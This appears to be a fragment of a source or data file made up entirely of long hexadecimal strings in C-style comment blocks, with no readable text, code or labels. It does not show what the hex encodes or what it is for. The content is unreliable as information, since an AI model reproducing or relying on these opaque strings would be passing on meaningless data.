47c9cbf2e0f8b24e3e5f2d7dfd2180ee1e6f0310f3407cd640fb37e36f5e13229bd11759e57d4baf93c46f0edfafbc5ee916a89b9b5bca9d12c9f65648b0d43cdc627a034bdc8879b560a628b92326bd60592e5bfb8ea04c86afcc3b0651faf863318f01460c43a4b53ab04f36d90f0d5bfdcb122d0e63fc176fe0a5da9547d0bf2398ae5c521e50d05aac6c37a989378f9d47a63e83a5fe6dd6abf4138acbb955e96f32bf9cceb7405826584109a9443bb35ee9c0e4bde058008101d79e259c22cf01c69f4ba84a719217616030695a1f34f40fe224bd1f6f00b8f9fc9642e5eacdf4b998c6390496acbf0f7ae240b5c32b4e840169967a58b5e51527bc75a249619b1146f303646e95eda56cede1768ff23d8f5aee1650cfcdc888cbb035b69559c81ec15cc69d259d159fa76ecf6507bd33bee6b8c8e686408d85d8caeb4ad640c44eb55acac40ba83cb565780af80d74330a6c3e0978903c8b380ce73fee5b14295364b5df63004e2c29b4e2690750f24173b329fe2bd9f1c359a807c04498ff40e815aca7033a22c24d3474f917c5924a4f58747234a225ed1bd88305b35130abdfe5a1db13a16b4ad88b404224b399d8e9f781f835f538481139367d9ed9899a85e72ad1e918614eb5d900356850bce641e32896b8869880b0142f4c853d4d84d5cbf058a365fe2e6b7ac1a2f46efbe415e9ebf5aa92c64b3500ae138789ef45bab2a5853889c4fcfe7595a704f3f8d4dd4eff54c9ddea4071d9d85af2dffa66ad1c23750a1039e35aea26e2afd6ec2929b36dfc2674b7a51c0095e5b6698866397d4e2b94b1b71da01d25b9fc7c4350e742610862093183e507168e325330def6b2f6ba3724bf1ee32ab91a52297f2e81db0825c35d027b71a9305721fc6429a2198b6fdd44c02fd32795bdfbcc5e7d67ff3fe0035b242029e6163f67f930239dc215178e8a7c901a8e5c16421f6772f79598d61b237480ca6bb0a062883b9ccd0126048a9c275a91d06f6f987250b95b9e9e6e5a83797f8cc07f105b723d45c0a6a183cbf57c4277dbd47dde2e3b1686346521b0dc1f7e8f857ce231e615c8b93afab10a60396d55782aaa5db095150d25f0f0e47738dcc671dda9e4e68003ed105cfe06e642ba19c647e1e967dfc10903fedef79f7c1fe585e6883e254c725132f882234404c912c2125c0c4bc23882d08c0c50582e14e241d004b6a499aba06a4692b6d5e927ea096454df9624d264e8c15588c8de4a98580eb393ae89ac69811f8bb0c07ccd046b9468a6752272a3cab8b25bc44cb19107ea059219e31b2d63cfadf6719b494c34f5cf9622db66dc23966adf6caa91aebddc6159ab86afaf6e8cb77f2203775aef91b06e8a87f3816571d5dd67b1b9e4abaaa2bc765f21394c901c1f80d6044c48e4cd48247b58201fe600f01984c7527eec2a0de6ffe467bff6944ce0f33f022e113ca59d56617f7f95b43a3ac522987846291f72d29382114f3f3090dbfbcbe8ed0d29a2a9f666538fb7a967059c98abbfc7fb54ce089e017bcd1cfb36bd09f6a0351cc96771ad0edfdc85bd45488eb095d4a8cff5c0b88029271c710d8868d12b761e50df7906d535dfb06c1a6957ac3eea94a723c907bd596396c8d6d4d15330efb377d7438c6d93c0be0892b0085093f425082cc1b655d03daa0d604e0c4fba82fd6e04f79a9bb19a6e355b70f61ed8bce1c3606a2964d88941260163265824854fca4240f2b7d964e101fefcecf07125ef0789d197a0b57a13bc51aa0944a494739b0b981fd071a7533c46881acbea59cdba79f38a71bc67ef0e53a93e4a93298ea25e0ff2151d36ee2919c4a7a96d3e7809d6bf3657b711a53fd9ab28d976ab0681bf04cc15353597c7689fdf45187c902ced3a26cbb5cc1d701d44eb0a44cb9e4c97579b474481996c98cbe7f230c6d4e2851eed531487bc863cdcc56ba3667af5a443394d63ebdfa764f6285e88cfb5c19db0464087318e36108693554e0873f0579949580a*/
/*5296ff04072822e66ec98b1066db9dd200d9700896a9db37526450e738e808bb31eb271cd69212f576af8996302a9b4ea4043e55b0bce59482592d102712cfca0f6387f4947c757be7549715928c3823e97a57fffadfec685e0097103a4d8626b0b044084db0c5f26f0a8e61e9221c60697090b0bbe1529ad4bfad04923231eb5627dd52a477f2da47e4eda66619bda5193b7ec3a3d1c9e92891b3555d8f39e9ef487e9590845d41db7b15ecba069d3c101f5600f47b739d77a49832b6db4c0ffd5dd958bb6326675c97505463f846960a77ceb113461797bb9e94b429e0c58b018530bd9b829bb11639cd4d531b531274b2acba22790f24d0252b08b22542fd2519bdd66408ca9b0544295e77c80c023356a1204066f4e240af5d75295d6d41af6950752ded3f42fa427d33285c42e7807fce5d8c75ebd992bb108e9edf564456244af0c352708bb650701d9c653278df02df47f4db581fc74633941a16f316a433823700eb910e88a0fbd5b126b9679b908f462d5de4f42286726b4d6c5491391a1e8d415a3427a85e1ce05508ee8fbd8992885a9d8d70b421f42db95167381272d562b4f6addb980a86827879b246f33ab29163583d2dfa9cf2d41e9a975a0eb91aa49f12b02cc97c7cbf6bba755e9641fde27dc3e8753b38cd9f5c28e6e1e829adabf0b93dcd48d40358627dfd3ba8c6a2bc018226c69045c822646e044f55f3052a5827a683e4ebae7e363119bf62e7b75e0ea7a24491371d886ec808521cbf19ae1c1ed42a63c2966a76d1b8dc798f48673f0708258b35100331777911c896bbb73a80b3e60a73b6ec4f24776611943180b1b930c894bd74e08cdbc9c4e17a51e67acfef77a0206f7505730a694e603c5241f34bbbdbd6f9954ae709d6153622b1b958cdcda3b85c8818017fc73d0607f546d9a5179b0e27b33b4329a0c63a865199204ce80596212095e764fe7757e839b180e07e7f6ade80efe44be2917d323e3972abe7069953a446e0eb5c83e2d1861c205b62972c59df34222e018437ea47a8b535008586e5ec4505d711f5d5449bb548b364c313f660b42466436536b7d326c9f0884f68e91ee210a4e05ea1f6532ff757eb828ce4ac6a5f5738a821650baf916faa781cf3c8a8c5748de37f749ccce02bcab27d6b6f96622210fea6269a621406db0c9c4badbd0f3f6d14cc871c4d9eb42d8bc5c99fedd392a7a0a66e55b2c1b31bb6a077d1302cd411b781eebad859cde24750839f0eec9664e3cfa04777025643a2212f6c53f1ee7f8ff495c54398a8a4dd02c0575caab0ac978d66ea6b9d288308824c9bb9d8cf1157049ca29af371cdd7a28af187d1c9dc190eb62c598764610c6ccb9e439e930d9d5c4b7c2735469012e06dd3eeafe9d2a5e3de0a9138a7b0b1adbaeae6bdee3b86f1db7a4e96f97a1d66622b8aa8359d978b0e603279c1b1c0cc403f65c2b0dd0c627e91c36775cbc501fa56d3294e6d1477b4e4def6827db7b1de2e436748487fd21372f08795d9f49995a59c91793a66ee674c098524de5e93a9488f5ec879167da7a2a7f2361313b9d2a9e811534f7ae95fea9936a34dc51dfbaca94cb55b16aaea6abb850d21bd0ff877481a0c0ce70a6aad5f32ebffc58720df558e33f385612c39ac709bead837c45bd81808e42f34f9701799b482db39549e6f874b3b3f5019e6a641103cdc4ae92fbe89ab2948757be8d048b511bd67a606720c7fd6e4fdbbf4d9390880215432acf7bca4e46c2066e650ed993fce3e32d7a3777f25c74d01e551ade02518ac4b74b787b91e28a07b1bafb1938e84c9d8d7dec56bbd5b547bb28fa1cc54a45bb2b2daf11de9f8e456a2d3331ae84443dfd884055d156b5c795f07efd9fc88081b853d13cca10098dced8e61442b8cb45af17be5b300d4675da4616765ad3e8efdff33178441d45740f103ec9d522039cf5e2696d0677f750fef42287906289b88ff1ebdc38038ddd5dd318d622b58a133635ce0e70e32aa51ff8db109ac8457b7e09439803adb13020b09bd20fa72452f3780160b6da31d7eb36b84c22655b3c50859057fb8da34dd2f5afb80623149cd7d0a45767bb6fd6496db07b2bd6e605f218635c2c62381dd1fadffb7347e1128879eb407f6898709f6aabe831a33a082eca868ed5d758786cd26806f4c04e6bfcd15fa8ed0ce95773d9fb15ff345b9aa0d9012cc8a51431627639f83b55b0fa5baefa2d48810b9f356f2cb2bdf46851973054633f888868156263e7c86011c3520f5bf4b5c7db1f5adde112a11362b8a8337f0cc5474b2632d9e1d46629b17e4ba3551425068c03c8e69a0372892e83a5d6ccc55d5b5258ff2f50c3a15fa8a53bdd155b434f4788004b3ad61e349f6aa6fe5e840a426c591a6849a2691a055e3451c3875802f61d090ea0b217fcf9549248cb72478a1bb6a4571436fceb3ae810f9efbd10fa8e5b83b308c93a6f240ab459b516c9ccd74e6dddca6862bb19aa9410208abfbb0277656179609e78829744dfad93ea4e343de950bf430bfa239e3a45dd9eb1e6f145bd03813af2db0bea45e556ee97bbb3e5d808f45e26ca521f3b05aeb750047287a003776a235bf33ce8cc9ee75f9a84eb3feafd24e13677dfde12d1c444a6bf8d51882dc21408aeea632f1858f52e5d32e78b639b3217bfc3e184c04a9a14d4cb703e301fcf238745ae060899a9a11563ff7c61213bcb15d4bc21278061fb99cb629386e8232b9570c25320516356e82275c8f9536e6483a9d31480d28a7f3b21d8f610829c1418f0392af301860ddfc7644a5fadd47d8440d9c00b70536*/
/*df091cd144ba3633fa3d3da0af343ea02c4ba437825a13ef501aa291b160b32a999a63948df3fb15dc2565b9b40fedd17f7941d165d104f73444b8f2411295df712d1ee7a319c60c5773a71a50dc1a6f64b4068728c0cf184047c1b1f092df64a9bb58e156389a08d36e7c0b321b137bb66753c6b9cc3f6c8f8b1bbf180f52db672df34b98651063ba43cd07b3c0c2124b88c27e455a3915c15f3a1bc01311c78e9a70086a7273c9f634491f48e061559b813ff9674ca4a2616f5ed812408c65132f3dd3a55e984568ab37c6b26327e8845b1bb0256800b9f5d7da3875526ddcb705a52d3dd43acde5e627d998c888509ce87b04b12cc05e90b81cf3136ccfd30fea7ba6dbd1bb86b5b62e82fa1f459332635731819c36acebce7d8b252608cf2cac3de7fdf9ef3c005e59b6e5ad1967327d354ac91e39f5a111912c50d38f3effee4dad9354dddddb0f06421e8da284fba2f5f8d271a5d8123680b99b6d12e77cb0d5ab4c964b596a219258b5a2b4568a9e89996e85f9a28ac4a10c33abf266506cf36d916628035a1e465f9de862602e58f4f6a62dc06a60330a4541d18dd6d844253bb91cc16eb09b76fae7b1e686ef3f0e8615a9e438e12aff6ee017321f580703104bb6f1f78510d7b9fe3bdf53c358f9b0b31aa4b4568c1e870ddda996eff0eaedd16b0d411dea1ef379029c4397b8ba0fc3b6375956af91a3d5740e65878eaf79ac000eeea82a19293f87c5a19616af286c863786815d7679cff3264b780e718934cb2a8a01e4a5bc5e0b89efb4ec2021600534a08063a01d80021c10cacc12e0691b7bab86ebf64d69b76f9c69796c56d99ed927c084883289253d995e80d6849237960bd9a1895384f0266fc20312a9a98dd76bf019d7240498fbd6e97b4a320f459dbbe3f7a074936191bf504924cb0f9244d475cdf5b04ee97f6af8cdfebf18be8c8c36391d9b6b32933be7db06666d2957ac84cc0f8925c258a271398d8c3d38fdbf4932707eeed50c7b7f702d58120fdb2daa418a655eab51599f3b04e2486151f5530e7f6b0f8c31bb2e0f8f259688c407795b78c40109ea4d00bed39ced8b376efc9a3a75321733c6275bf07f8ec5db8fbcd13889d0590fbc706031c10772a6aac24026e2a288f918e28c7946382f4b2b8c12cf8abf9acc900332db8c39785c6a0665724cffe229df74d13ff40328477230d40ba9895e01587cd9f6922bac4eea3a8cc03c0e9beaf9a12ef20e663781e4f5a6549296eb0da880fc196d3378605ec57d347c76b180ef62d71b3509b472e36f53404abb61641dcc088b733b3043b4481fc2677518c7885e965da5936a0b14f38c065917d99a4a5353f3628e2338c4fc09894d535d7a57c12e33975411310d1f23378d85e5c85807acb8b1c2b7cb565cf136526032aeff1dbdc002b2b41bfe25984365cc89570ae67cda01c5ce2bf4dbccdfcaf31bbc7b7a1ae71bdb214d0aaad84d4a80b79cce49e9780925416e28d94549b843c64927fb294f064b0bba2a82d47af8fa9bce1a076773859a97ea15a2075a5cb7f7ebf3153a4802ef04337ec69c35d27b2cbb062d0682d9f49bedea214a64403985f12eba7424fc81b0e499d194a19b31fee4fc9ae1488efca08a9e583076df8de6b2a9802512b8e1ed6d7a599e970c4813c4fec5ae1c71725a23db039e085a77517fc5e2f4023fd60da62807afef87509981a84347a91d85c7fcffbd48fa460221f795a79d0e0a03cc20d2e598ebd965467e76176611537dbfef528a300a48f24c93363358b16dbe5d1ee657a23e1248920f4676527651b5ae2905b665bec2b3ad2bfa3152151238bfba5bbbad4f0cae64025886e17238ae5cdd4d9220563524d6e63379d8ecd215a57b707efc33a708fffb3061c8d357fdbd72fea55f45f68b3d6a715419199740b194f900ed5c8803112bc94c8801c96283db9372df94abe5f2aabd6b5d4eee8e0d9f47745fb02a6c021b15e3328fd60d67d5fa6086156deddf8c9528ec1af07b42c3342b97da7d14b35c9fb96b6b017cdcf4396c625c1c5f3715699db25e375c491c0fd0dbaac71e9842bf1f942fff5f58a85b3b72c8ac37319d45a0ecd591263d6fa64902ad747ab0ae1135f543092279fef528a700b3d45cddf5a24c29e2cbab34b89ae6c599883d6475651c4f7026dfe4dab993fc6ca1939678a79bf1f9f3e99c3389903752559700a02a0ab792cfbe3025d635a8bfb8d1e31e776efb3ba0711bb6e917affbee59f6773dab0f8bb5945c48cfa836fac12376c3311aa30f5554c263f97b4d850892b86ccea0f1e770f6a11aa03e24ab9a38ef1040dafcec05e8b9f300fdda6b1637e3bd3976f2c2ae814bd9cd3cc78cfa249a5ce33595df52504117b30999492644560ce67609345aa69c653ae203215ef193fc9be40d5f33c0f97ce066bee571edc9c5c8ac72bd0aa65cf85226425b74bb6d762039ad88ccdd55ffc32f6861d0aa79307e3d1140d0c3770430c1aedd324a5cafcb368a464a95b1af34a7e287a36e9386cf72c91d68c4b9f2eb0b7d9587ab5f8b56285113b75c18152282268497b67795f12b51c0b975090cd4a2767f5c0e29c2d048a4e01a946a2320b174ea08ba99d7eb3321600fe96676d3c587b4bd62c8b8e4aefbc3aafe8d789f87d8778f201cd8950b2d9fcbcdc3bd6729b849c06451acdc82d50acc7c2e469184af11eb59086c21c36f5879a56cd58f0cbc26e61c95e653609d6813e3f17013af39bfaf421e7a3750d60e76e4ee6511ce5104489df4749ceae0fb19f697a9557a131580cac0affbdb1510245765fa95e266b6bed8c308*/
/*32dae8208e3d2849b0e6ff5179bddf3d34c1981b7f46e5ceb02cb237652794cebd3414ca1796a7212d7d5e7286c34344ac7a904564249fc8c88a546ba4c82a91a3769b830125f4140b1e033f56879763bd38429891e847864fb650c9dc71b758875c71d33946b904bdaded38e4da071f84647ce48835d3e165bd1ac188b16c28e7826a520f594392d0e773f336ab7d83cca85ef8e5388acc4dd4160118342673af1bb0c481201c25850daa2e9a4417422a19321787748c0d88188ab02cd7339d02bb54dea6c0d653c8a9ca51510ee5e934ff61af8497433387b039deda8b823ae7413668345561627df5c9838cb7324982035b302027759122185b3d3990bff5d9fcb5e8efc2326e874092924764a65f49e4f1d4d7393df88ce543aa081af7a9b170515a1b9e76ace307a3de5c98b8deb33dbd3257d847bb4e4bad89fa51e6be9c32ab2809b2110d2c29bf54963b0d5ce18567b3951eb131040274d6f3765d4e06d083fa1c1a076e12709ecc34b58792743283959958228fde520caa62255acc076005bdbab14dacea41f26d06487e838dfac4143cc3e04e2406cfc9dfa1f899b383c192ef423162f87c4eea89fb97d80482ce9792c21b1d1e69b889b941403b80706b6ea44c122458e3544c7c68caa1528720e7740cedc723638ef5c82999d20b41aa4f91981c0d0c717acc66efabf4482d9894bbb933fb4ac59a74eb2e8f82cecef1e7c13d2372a8fac24f01becd2af86c1a96ffc9524150149b656ad06dfc497c82ebc91f50025d2db4242ab61935995759d876089ce4677100e24855cbbe1ea4a1cdfc95d28af61d301b852fcb22bc51c2f8cae8a09e7f26390e6e75de19060e3778c192653e11717a92404a057af3a25ce0fe79c92606c17a0773df1d3f21d06a5f301885ce6ad553f74eb4d6bcfda2e8d722e82c2ffa6b2ac9b4e449e1cbdd306d52e90303237faa6438d3f46bba3b480000ac394beb54ade9269a157e478c28e0a10b90e34352f380381adcad10b3933a45d199aec3165f52639fcecd4407f89877a0dd7f174729c88754102c91728d6bd3cb2e4af19da31fea16c764c9aca57a90b18b1bc34bb84ecb1852a50bf2860bf8b071a82489cc101922150efae6befa7fe620a6c99e3c8dd6e26af16d299357af88c68cdec25afa2e0987970cd5ef3fb53a0070b0a9f78481f16d708adf961c89c985d5345c784b2b431c3e2601a930f4ecc72d1bdb7a31ef745124410b3f85e443995e76032c5565886fbbd57bbed4bef0127fe6ee866896735468eae87c5149a620a376e635396e5dd088cdffb3dd3f412dffca5b9df369b99901871cf9de79c325033edf5fb6960c8288d10bdedbd79270eb25fe3e87657b567d1fd12bfe92d884eb82eb3be137710e332e4060229bd0308b5fba54cb8bf37174459109411313af5397d399ab08b8b9db3ee664a72ca7ff887b407a746df42f18f72f8aecf67162cdd3f9cdba0ab59fb0976ef710611aff53b68190c9db7a023824aa4c5a455dbb48ffcb6906db7bafe5bffb0a8fe69bcd74198dba912afbeec22d1ccf1f77ba235bccc31429b98fff8af6e790bffe43ee0dc2577e1d721a88302e27b88b12886a39dfe0202fb0026197158a5a800fad6db2ddbcd7f06a7f144d49ce38fb69341d5f2288d04007524c9285a180eae60b360b96bebbb2512c5ef1e876831d83cf6ed39293a50af048be7e0d8a15378c25a3fc2b4e416f5f01b7cef55e3f6e3e7b78d518eef92c0bc69c075094cc3bf52f5220de952841908537c73fda4b3bb6e6abbcaa9e22e89051838de18bb07b0761074f7d2c5eec85ac9182357309a4e90b2f304193c48a5861ed347fd64b3562be3f3e07bf64b5fe3c832c39a1189f126cbf9a704bf8013d958b70ea959da12b8e062773d62acc35cebf52a760ec8697a2bc5601ec4f527f3eb6753e93a320b47d890814dccfd263cc352011f3d29809b5167d577bca2c65e438c053e6ad153a39012988e673ab91ed37848e9acc90ee4ba675035f032ea26a6c630a18aa845fab19ace01b6e486d99b234a54f595a987fda873dee6c7f865a466975b4ea2375e03fd3bf006d2f41afac0e51f8a098de8782b872db6e399a77d857a438fc16b945d3ded3c784160d4b3426ad7d3257e91a30c8001f44aa363f7195f17000a934097dfd682230843944d5416fdd27d3a0bb91d0eeb1af8e6820952116ef855896bfe31a563569ed61b4aaef784ba490a564c7122148d4f33ef773bfbe8f163a7e8399de847be23eea6aef227ba8a5f6b125ceb8abf3d6afc97bb2f40a1ffbd7b74e4c63667563b9c118d9513ba9505eaa1623b30eeedc2e9e9354761367413316696e314280f7cd2fbfc307a65cd0f32a09539f5a76041a97cee8214a69a390defb74ee307481678318926c76bf4957cbbea1743c038a691c3dc7e4c899060eba4551021872cb7a8ff3f09196bab314b723d5253bd81db97e0c3eeeda8b49eb1a43383057926cfd0147d22d49a719258ccf0ed3dba6747c803e4644432211434ac52e4f4bff2ab5082d98adde2aca794fd24f5e1150d1b90239165de24843d18929cad59ecfe5f66d9bd7711067a0719590b033c0a144ea1ca594dc1ab6c208d053ff21905a9a3da7aaecd8343649336984eb2f4577d8ee45ed9d0a939ea1774c1e39dad42035e56a765060382dca8df1f01a1ddf49143fc3b1aae8b270e4710d6284c72da0abbf74f741100d10ab334944a4973cedae58123e385c8043bc42c57a913858cd06e59193d0ecebcc9d509cb83fa6c924e5547ca5f9d760a3cb15ed5f9fd5867efaca6d634799*/
/*001a27c926f58629aa0cfd5ac482dd8e9621122a7b4fe055b69479acfcb609d8800852bdaf73803b40afb6fbf2dc40fb8bac5e593bd36e651cfefcaf903a22a097dde30ee3153466ffeaef7e2875b16cf4cbab11da355554cb26df08599603a793c42fcc74bd9eec010630443ec061d471c2758ea52d5e2a75df957a0cb14de1a83a937c96ff5a7dd1ecabcfccdb2d06a7fb95b9c7b6b1718bd006244337ba301dfe32f1ea27cb0f4866fbee9f5af3534f67346636500cd6b9208dd2bfb6d38f6c979e218fe2152df3e26125e2c414e88694fe5137a38f6ea6e297c3eebb3a02124f67b509358bcc6f0515d11cc2578046ac5738eb473fb52c81d3df222e1e2756be371bd74f4563bd95c157b352678fd82a3cc60c7e9776bf70299a9ee538ffde41e60b133f96b97bcbb11319f171fa3c601f129529302b8b44d6b6ae9674bde1d72081cb508660725195ebdeffc94273385c4070ce95ac05f94b6b4a4300d3160682a6a7600a00b9e9e1f312d1d923a35a147ee1cc54d08aef55686cafa362efac3d1ae4beae49828c44c8e9505179608645ed4457bb1f50c19635ea4f6b435b1e2c87a0509d4e27d11dd84ecb0428a50aa47ad7c3f6943ea2f5d2e6a26d440bff4a599b56936fdd5fc5992d298ed9065dc76654540d1dd8a2928beace2694046f6bf7e88ab4f4b48d3acf2b0b07df2ea6a026eb6b3647bd9815d926fc41d2f361042e665656b2b9db7d8b853e8b42c283c64557314fcb948984a2ab411fd00432b937d1d26dc33d76bfa89a65269cd693c3675354636c1dcd98cf7640dffd5fbfff28cd4889c38f65045a5a6e3269dfcb25f4dabe2f73f38f90781e23ad676b2fce1583ec0589580a0a87c7e91fa2af384f93cb46b82accd88ad3265c5b2583459fec49119427ee9d330e7a3c1547b12b9e21179a216e7735cd9792e05d3cb8470b6cdd9e594115f18ee32b401c596ae011cf5c1aa449e0ceeaf9d9b97b7262ecd559c508fd7ce351db7ac813c0249d326e2316717c417f6f03d3da59a24fa3901ef60f2e45b34c8e71044c9d3186f7b9179e49924a427c2dcf1e99698394dba18aa66fc187fedd4b51e67c2b5a9d188da07d7347ec2378baf95075051320ace7b0e4b333c14eeeea0cdf685f6285ea1c43dec4eafbdaaa6c7c1db58e316ed9afe840ed324f43955fcf74b6d51f386f9ded946c69aaa04bd7c8f518f000fedf89655a3ce626b4620698a6d61b7c82e2c76ec28d33a3ae213a73ef480b684c798b60d611999297d1a22715a6b4c2e7df5466eacfc90d3a5f6e620151d86f5ba3934a004cee6686878a3ac16bf651bc8d5dc7129682fe9f256acee6f021581844e61992ec8b9958e3fc84e7ba58728d9cf677e4e150b04ebef668908ebfe6aeec5708f92a3b1ab39d3a3f0def3c957173fa2842e8cbfea11696d98cacfd68fef9a746dc2302ff4f85c40f2d22d234c4d4ab3586cb9f0ccb9fdf2636aea0fe9868e12a2d912a7e9a3d5022235eaaae124f6aa01a47b0a8793cda80de201409ab9d290564c5b908eb621c8f2582ff7735985df17dfa7600c2e60828ff2f8bfe4ff890355fdba8c48d4f86f692404c2c0c1d8c0c2f4b43927fe084324cebdb019133fa633e7d801294556cfa9ffb5296d3d2daa5217447ff2cc95f1b89f06c156ae67007bf35cb9af2836c42bdc4db454f0da09eb7ee3402355308938a7bf9b4c1b3738eaa5c58f1b552f3f4021fd87138ab4ac1bc25218c2a08706171a2e9536f35c52199cfc89f042202012e347d851cb23f8e75a8a240213ecb9887f6e34d9f1310b9275e586220ebdf0fbda6192bd37b1b8362cc390c8651f8798830bda61dfdf9d1ea5f54ccb88cfd6351f6fdc99fe531556a4077cb7390a487735e7d0d04c02cc5097df9e7202b6185e8c72dd77853132f162e0f39881ffcbba79a7926ac8cdf7d74861877c7032557c424a59bc0745284740176d123fbdedbd5d389cc12c36a47cda39b31090480d2cb51a12d62cb9f23f48bfc6df33e2ab14043b2c8d09b342f876704fd655d240a33e56039ec1b3b64792850968a2ccdc0caf751a55871a53ce47fa5257a831a8d08d8ca2eba13ff8121f367751b3a42e506b21caf579ee1c2544efda8b369b8b2f19da71e4f103a42401dbd6af072c80a7c980c0bff607f5ee489cf4b3196ddf2d9ec63e1a56793df7fefc5b60832fe22ed0ec14e8a05782609e38aed4d014902a7c21bdd1fa7b3e55ae4090f75389a30d80335b6e0419a960856a80fab5fc63c0648ec5c255f788d6c26140c2953312d673f9d091c654163d4b421fd1016c0cb6077b5bee66de2448e38f27921b1334c723987499bb0909e78f47fafef10e8cc405186cdf485c0ad2956429077e99e82a769bf6ce420f8462fd2ea86e1e61884ddf2b57d6eef17e8bbed2e862c3fcb358227c27e81f485316872cb7b1c5a1dd51bb5719737361870471a79f0d83c102a685193a1e2606af4448edc6fb9cdc47679e589ef47d5e61cec970e630141d04f3eaf6cffa82714c91346c86e8171c34d267c8b12c56f0478f5e9a6a5a8fe560ad751f78bb95aa3c43f9e56e58f4c1d6c0183a15b41bbd972a8daf91958446e35df9dbd79742768d5d880c0ec10885a486435a57639d13252e32dab011e2bb14af18404bfcd7ed8b35cdff005e16595ce49855b533a7c477d80c5141ced23523177f16aefdae6baa9c4991c672014fbd8c8daefa5734dc7ac4bfdbdb212b6920f285673a266b75d4881274d18aeb03d85392b2530a3514cab80420a59645231e8802d6e1250712462fbcb0ff6b6e11954cc67186151*/
/*e6b640d18265ac656ba0791e48613b75dec851c68b1f50dfc76d2c77fb0134f68f65aed933f52bbe2525de19b3405f19a5682124aa1c57bac5b4f49943f4b6c68d470753e25a4d017db1f91f6ada0ce1b20909b7e187e6ea7524bdffdeedf53d7e5f219ac651e030db67c1b7c13c3c8bd32d790d08082e7e1e634ec2b8428efa77af17814f61686e308dc5ed25f9d9c0ec87b96c878d604874f19fef9f57b249d7b34c0948ac8af67e393d07a0557d2bbf003673a3150951669a89a3f2410c0b8c387f72c94fa1b1c04998fc9b5ed766386a041198171f949a22fd1197d9e81d6d494cb9d3006f30be03d04a98bd8fe07cfb21bb149ea897c5b7be862a9596367b3671951dd6bab4f3b159543118359b61e0c934f1a9e11f5c3bc6357727fa0b34be1581099f34be78a33f29d9fb92026e80734b7f445d44199556d72a34f6c7a9d46de341f2ba10581dc706c568d8ee68e7aa9b0ad05ea528897401aedd39ced590736b022c900b694388ba3cebe978cfb944e2fa9020c8833b14c2e861d26bdd640ad377fd9ffaa5fe53fa0e73c1c11bed0c051f1e5750e82b575af411de8ad0d257b7e3aa08c2f50e017f67adcb99255c5a31eea3ce99317ef456b2438ba68c2632748aa2df4a0b27fba7b08095fc2b0ce85297d50ef862d7f836567c07d7057b2674399695a5d16cba395b311602a88f87fc51d18ad6490801ae9156ebe7571742a9aea0c1d692b7a9116ec4c35bd7ddc13a5b4199a1289c4e2132a341965751fa54a0f11c255efdf9d8fa96b7a15be9e23033388f73ff0f92095c967a3a6e4b49ac8b93ea3deb3098797ce4ed0bdc025b27ff880823c56aa1ea2233a9fbb11c9ad132b17197882c9708bb04036c2709d6b924125eb52d1b51a91467bbc5982d4919ed43213466152f0db23fce9b8b68b45a205d007b9f17db5ea80ba1e5fd65d30c2daf713b2f2fd6e5ca454648a5cb85094a8a4cde6886dea1109415354938b3f0dd4d468bb40b06ae215d1355fd59658a1a21484662062fee1aaf5ee68daabdc20e59e8fb8a78c7103f940c800ecd613cb4e08e3605249f9b546c94aad56c6e6632d6faeb65e1ff11445a7faeba04939d40fa5a11edbde809b1fa613d7a8a8be5768c3e1668c97fbb58e227e3dccdadfb09d28014c3932476cef5cbc6f311e42a53b86a23cd9bd501c6b11149c19e0833f502b8be7f926ed35f0049789fe07c6137ed671119f38fe86ccadfc5ac70c3d4f5aa0316ab4f60957f120ea4e69c2889c57eb59dc691faa8c8d4daa069f8e14b7f143dcb1747febe7c31f288d9ccf698807c74b02a4ecc7034bcbb2c063a786491a1002565bc0a0567d7c02dfd5e177980d72b510e764f1c115aba1a1a8052bcddc0e52624cd7b7629856b26ac91e2622344fcccfa788e90de740fb2e0eb249d62ca7ac561737c601e47441aa2fe3bfd17ae84cdc7421368bae8a9e5780f3edd37065bd1d3290403d024ce8b7398fbc84bd81ddce1ac636336f88601ea9f818053ffa8c2d525d9df28ba8820782bc462edfdbc0cef1518fe32933d37a56f28f82525b1020fce8ed5962d698da706f65184f59970205f93c14c902162b12b3307270cd81cc4a2484f249f5a1117fe5092779fcdb5474107e10b8796a9234d67bdcec47a38d20684b0a91e1be847a45219b63bd182dcd302e70a492fa2efb0f67fd9c6f5294ebedf1654e304aa92d1193be4b3c6df75373c594ea95aeb11c20792980845a9d8766d9c64f66fa2e6c1d20b72cbee624afb18c6a955a38a87739fe09bc9fa1a7cf07fc22034fcd9bdb49278d22c6615893e49396f547498d31a7d9afec35ecad6b168bcfe5f87a7fa803dce774ae50b302aaeceba98f0f034b16cd5f4f45dbc69f55a2a5d5e744f4dfd58cee2cd84fd51beb991bd25a22245e8c4bd09ca6ee26de4bff34a7df4c9cc4341b865d531b2e00e60fe7e2c7b33222ab2dd0cd42480702538b5f39fb36d66f47f475aff5d46bcfd1ad51760a334db66234dbd64943da1ae0e84fbf376fee442bf46d1b2d903347d56fc20c770c92fcc014790c0ec6229fac21aa7398e0061ec49749073ef6d3d2af2b3ed5ea62ac1d3c3cd0110ab6b36da2e52da9047d13e585e5e790f6c6dca3f77655ddc0036fcaf7cd52a47a82562127261468f095ed950c27ed1d44d178a0e170bbe682c6153660313622616b8a26051a6296c98136e2066142339ad80a5903ac2b4c4f5b9f64d06f87b84f273c49f61e4117772cccb357e70b54df4d2f3a99dfca1019997fda4457d25a0813ba340f6aab2e8b24f86b0a99738c9f349cf849466472b90a42f6ee17cdd320e23a977f1548147647a99ecf8a8d042959a08da77160fea834a7a69ee282702f10c178aa8c55924aea161a478d9e4d20d4c10b8b30e7afede32084756e3435fb969aeb8c062028e7433f9e0fae385c9439a4c4e4e45a188d245dcaf62d51f00249ee624927ccaf72be4aa8f5aa525673f2078de20c185ca487958cdf22f87adf5ed01e8423e393a48305dd778493a2373582b7d0a7046ecd9ab9478048ab5da4d4bbef2327336d3e63aaec598903032adefb686b57f9d5200142882164d03902b92ab00ba9dae197fab7364abf2098039a5ca53d8329c36ecd4b5ba74fd9ff876436dc72a9c340884068788d780b6b99d6e32fca85148d8c3a537b66f6803b3b5d9f693a805a52f1f3bf7dd9c55d2c6088ca13330fc3fa750fbc2c00ea68434b2495ef57a77c5489c508c21e8530106a43f87b313f8036db6d0eff082b081c921de2bd46771f26158082f2ade5f9859390f7b57a3f3faddba20*/
